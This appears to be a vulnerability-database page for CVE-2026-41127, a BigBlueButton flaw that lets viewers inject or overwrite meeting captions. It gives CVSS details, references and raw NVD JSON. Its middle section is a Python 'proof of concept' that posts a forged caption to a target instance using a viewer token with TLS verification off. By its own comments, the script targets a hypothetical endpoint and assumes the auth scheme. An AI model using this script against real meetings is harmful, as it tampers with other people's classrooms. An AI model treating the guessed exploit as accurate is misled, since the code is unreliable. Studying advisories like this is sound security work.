CVE-2026-41127

Description

BigBlueButton is an open-source virtual classroom. Versions prior to 3.0.24 have a missing authorization that allows viewers to inject/overwrite captions Version 3.0.24 tightened the permissions on who is able to submit captions. No known workarounds are available.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

BigBlueButton < 3.0.24

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-41127
# This script demonstrates how a viewer might inject captions due to missing authorization.

import requests

def exploit_caption_injection(target_url, meeting_id, viewer_token):
    """
    Attempts to inject a caption into a BigBlueButton meeting using a viewer token.
    """
    # Hypothetical API endpoint for caption submission based on vulnerability description
    api_endpoint = f"{target_url}/bigbluebutton/api/caption"
    
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {viewer_token}" # Assuming token-based auth
    }

    # Malicious payload to overwrite or inject caption
    payload = {
        "meetingID": meeting_id,
        "captionText": "WARNING: This meeting has been compromised by CVE-2026-41127",
        "locale": "en"
    }

    try:
        response = requests.post(api_endpoint, json=payload, headers=headers, verify=False)
        
        if response.status_code == 200:
            print("[+] PoC Successful: Caption injected/overwritten.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] PoC Failed: HTTP {response.status_code}")
            print(f"[-] Response: {response.text}")
            
    except Exception as e:
        print(f"[!] Error during request: {e}")

if __name__ == "__main__":
    # Replace with actual target details for testing
    TARGET = "https://vulnerable-bbb-instance.com"
    MEETING_ID = "abc123def456"
    TOKEN = "viewer_session_token_here"
    
    exploit_caption_injection(TARGET, MEETING_ID, TOKEN)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41127
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41127
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41127/
[4] VulDB https://vuldb.com/cve/CVE-2026-41127
[5] https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-q387-2q28-mg33

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41127", "sourceIdentifier": "[email protected]", "published": "2026-04-22T00:16:28.463", "lastModified": "2026-04-22T20:26:20.563", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "BigBlueButton is an open-source virtual classroom. Versions prior to 3.0.24 have a missing authorization that allows viewers to inject/overwrite captions Version 3.0.24 tightened the permissions on who is able to submit captions. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-q387-2q28-mg33", "source": "[email protected]"}]}}